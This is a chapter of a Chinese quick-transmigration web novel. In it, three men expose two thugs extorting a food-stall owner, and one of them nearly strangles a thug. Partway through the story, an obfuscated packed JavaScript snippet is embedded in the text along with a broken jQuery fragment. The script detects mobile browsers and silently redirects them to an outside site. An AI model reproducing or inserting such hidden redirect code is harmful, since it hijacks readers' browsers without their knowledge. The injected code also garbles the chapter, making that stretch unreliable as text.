15.大哥,收手吧

作品:《驯养疯批[快穿]

    沈萍芳不想打人,打伤了要赔偿,打不过自己就得住院。


    “我,我只想他们赔我钱……”


    李株咳嗽几声,泛起一股血腥味,凶巴巴的打断对方:“别废话,你就说还记不记得吧。”


    沈萍芳见识过徐晓哲的无赖、粗俗、莽撞,没见过认真严肃这一面。


    莫名地畏惧。


    她连连点头:“记得。”


    那两人不是第一次来她摊位吃东西,摊被砸了后,她从隔壁帮收拾残局的老乡口中,得知了两人的住址。


    老乡还提醒沈萍芳,别想着从混吃等死小流氓手里要赔偿。


    “知道他们住哪儿吗?”李株知道沈萍芳是个很细致的人。


    被砸了场子总得知道个子丑寅卯,不可能真的坐在那软弱哭泣。


    沈萍芳迟疑了下:“知道。”


    ——


    两醉汉清早醒来,发现自己正躺在楼梯上。


    想要下楼的邻居们被堵在上方,一脸怒气地瞪着他们。


    躲在家长身后要上学的小朋友扁着嘴,都快哭了。


    虎哥仰着头,不紧不慢地抻了个懒腰,逗道:“小弟弟是不是上学快迟到了?直接让你妈跟学校请个假呗,今天正好玩一天。”


    小弟弟上下嘴唇颤抖,哇地一声哭出来。


    龙哥被吵得彻底清醒,怒吼一声:“闭嘴,大清早哭什么丧。”


    “会不会说话!挡路还有理了?!”拎兜子准备去买菜的大妈说道,“赶紧让开,我们要下楼。”


    两个社会哥不乐意了。


    “你们求人办事就这种态度?我们偏不让!”


    说完两人敞开手脚,把楼道彻底堵死。


    楼里住着两个不讲道理的小流氓,大家有苦难言,又在这么关键的时刻故意找茬。


    脾气急躁的邻居吓唬他们:“再不让,我们就报警了!”


    “你们报啊,我们昨晚喝醉酒,在楼梯上踩到什么滑腻腻的东西摔了跤,站不起来了,警察来了正好让他们评评理,看大家该怎么赔偿我们。”


    相隔一层的地方,郎峰听得叹为观止。


    没见过这么无耻的。


    “哥,这就是人渣。”


    李株半边身体靠在高从霭怀里,身残志坚地说:“把诈骗当事业,今天就让他们失业。”


    高从霭摸摸他的额头,从兜里掏出一个小小的保温杯,喂李株喝水。


    郎峰要拿手机偷拍,被迫把照顾的工作移交给这个陌生人。


    对方越是悉心照料,他越觉得哪里不对,对高从霭的不爽,比当初对庄恒川更甚。


    李株实在没精力多说话,昂了昂下巴,示意可以行动了。


    沈萍芳跟在三人身后,心里直打鼓,脑子里浮现出昨晚挨过的拳头,狠狠打了个哆嗦。


    可一想到女儿的医药和生活费,她鼓起勇气越过李株,冲到最前面,第一个来到四楼。


    龙哥虎哥看到突然冒出来的女人愣了下,很快就想起是谁。


    “这不是卖卤菜的大姐吗,这是来送钱的?”


    龙哥说着坐起来,咧嘴笑露出一口大黄牙,同时摊开一只手要钱:“拿来吧。”


    沈萍芳哭着说:“五千块太多了,我真的没有,能不能少点?”


    “昨晚不是挺横的吗,这会儿知道怕了?”虎哥也坐起来,用下流的眼神打量,“钱不够拿其他的凑呗。”


    沈萍芳用力掐着掌心,苦苦哀求:“三千行不行?你们昨晚还砸坏了我的东西……”


    “给你脸了是不是!”龙哥利索爬起来,凶恶地瞪着眼,“是你东西有问题,我们要五千是合理赔偿!不想做生意直接说,我们马上去举报你。”


    城边村的八卦传播很快,昨晚事发后不到两个小时,传得人尽皆知。


    楼道里的一个中年男人啐道:“两个大男人欺负一个弱女子算什么,呸,我们男人的耻辱。”


    有人开了头,其余人也跟着骂。


    叽叽喳喳的声音,不断挑动两人的理智。


    龙哥直接跳起来,怒吼道:“有你们什么事!都给我滚!”


    被两个男人堵得满满当当的楼梯,空出了一半,邻居们连忙趁机下楼。有两位老太太想留下来帮忙,很快就被自家老头拽走了。


    虎哥指着沈萍芳的脸骂:“老子看你就是犯贱,嫌五千太少就给一万,不把钱交到老子手里,你别想做生意。”


    郎峰录得火冒三丈。


    什么年代了,还有这种煞笔。


    他举着手机出来:“你们这是敲诈,我全录下来了,等着被警察抓吧。”


    “我抓你妈!”龙哥率先反应,伸手要抢手机。


    这可是在沈萍芳面前,刷好感度的绝佳机会。李株抬起软绵绵的腿,用尽全身力气,一脚蹬在他的肚子上。


    毫无防备的龙哥,一屁股坐到水泥梯子上。


    尾椎骨撞上棱角,疼得他冷汗直冒。


    虎哥见兄弟失利,铆足了劲儿扑向李株,瞠目龇牙的模样恨不得把人吃了。


    郎峰今天的职责就是拍视频,忍着想帮忙的冲动,举着手机往后退,见高从霭要动手,他故意晃了晃手机。


    免得拍得太清。


    高从霭看似瘦削的身体拥有惊人的爆发力,将一米八的壮汉直接钉在墙上。


    细长的手指握紧,手背上青筋鼓起,他的眼睛里闪烁着诡异的兴奋。


    虎哥的挣扎逐渐变得无力,张着嘴,伸着舌头,直翻白眼。


    “高从霭,够了。”李株拍了下高从霭的胳膊,手感不太好。


    看似瘦弱,实则身上全是绷紧的肌肉。


    高从霭恋恋不舍的松开手,舌尖舔了下牙。


    他没有杀过人,但在脑海中模拟过许多杀人的画面。


    掐死、摔死、撞死,用绳子、刀具、药物,实施对象是高从俞和高彦和。


    高从霭的唇角挂着若有似无的笑,温声问地上的男人:“没事吧,能自己站起来吗?”


    一旁的龙哥虽然没被掐脖子,嚣张气焰却没了。


    刚才他看得清楚,那个年轻人一只手掐住他兄弟的脖子,把人整个拎了起来。


    力气大,还是个疯子。


    如果不是被旁边的人呵斥,阿虎会被活活掐死。


    虎哥仰头望着高从霭,脖子那圈火辣辣的疼,窒息感没有完全消失。


    挂在那人脸上的不是笑,是威胁,是没能杀死的他的意犹未尽。


    他恐惧地摇头:“我我我我能自己起来。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303972|182422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    高从霭点了下头,从兜里掏出一包湿巾纸,仔细擦拭每根手指。


    李株也被震住了。


    不怕横的,就怕不要命的。


    高从霭一发疯,他也要忌三分。


    按照原计划,是先偷拍勒索敲诈的视频,再报警。追回损失后起诉,把人送进去吃几天牢饭。


    鉴于对方是社会哥,自然也考虑到了动手的可能,三对二,他们肯定赢。


    但没想到高从霭一个简单的出手,两只社会哥安静如鸡。


    李株肿痛的喉咙动了动,颤抖地将手压上男人的肩:“大哥,冷静下来了吗,你没事吧?”


    “有事。”高从霭举着那只掐过人脖子的手,“手疼。”


    李株哑声说:“回头小弟我给您热敷一下。”


    高从霭被他战战兢兢的表情逗乐了,伸手掐了下李株滚烫的脸:“我不喜欢你怕我。”


    “不是怕,是敬畏。”以后您是大哥。


    不知道是被吓的,还是烧得更重了,李株额头的汗水露珠似的往下滚落。


    高从霭用湿巾给他擦了擦:“这种小事我和郎峰来就行了,非要跟来。”


    “就是。”许多男生慕强,郎峰也不例外。


    高从霭刚才露的那手令他五体投地,一改之前的态度,狗腿的说:“病成这样你就该听我们高哥的,在家好好休息。”


    不能休,再休就病死了。


    李株有苦说不出,将矛头对准最欠揍的两人:“马上赔偿沈姐昨晚的损失,三天之内搬走,否则我就把勒索视频交给警方。别以为没有实质性的金钱往来就不算犯罪,勒索未遂一样会拘役,甚至有期徒刑。”


    阿龙阿虎好吃懒做,背后没有靠山,遇到比自己还凶的,半点强硬不起来。


    老老实实地让沈萍芳算账,掏空口袋赔偿。


    沈萍芳感动地捧着有零有整的纸钞,不知道该说什么好:“我没想过你们真的会帮我……我,我……谢谢,谢谢你们……”


    “别废话了,赶紧置办东西,早点出摊吧。”李株故作烦躁的挥挥手,内心已经绷不住了。


    “统哥统哥统哥,分数涨了没?”


    “正在统计,请稍等。”


    李株紧张地咬紧牙关,一用力,太阳穴就像被人用锤子砸,疼得他倒抽一口冷气。


    【正向值+5,徐晓哲是个刀子嘴豆腐心,之前是我误解他了】


    五分,足以让李株激动得热泪盈眶。


    不单单是即将病愈的喜悦,还有帮原主“洗白”的高兴。


    “怎么哭了?”高从霭比李株个子高,他微微弯着腰,正盯着李株的眼角。


    李株抹了下眼睛,尴尬道:“沙子掉眼睛里了。”


    “哥!”郎峰也跟着凑过来,“你声音怎么好些了?”


    明明刚才还沙哑到出声困难的地步!


    李株清了下嗓子,睁眼说瞎话:“肯定是小高先生买的药起效了。”


    高从霭好奇地看着他湿润的眼尾,右手的食指在上面轻轻一点。


    湿漉漉的,带着浅浅的温度,好奇地伸出舌头舔了一下。


    他望着李株:“是咸的。”


    李株:“……”


    脚指头抓地,被这位大哥给尬住了。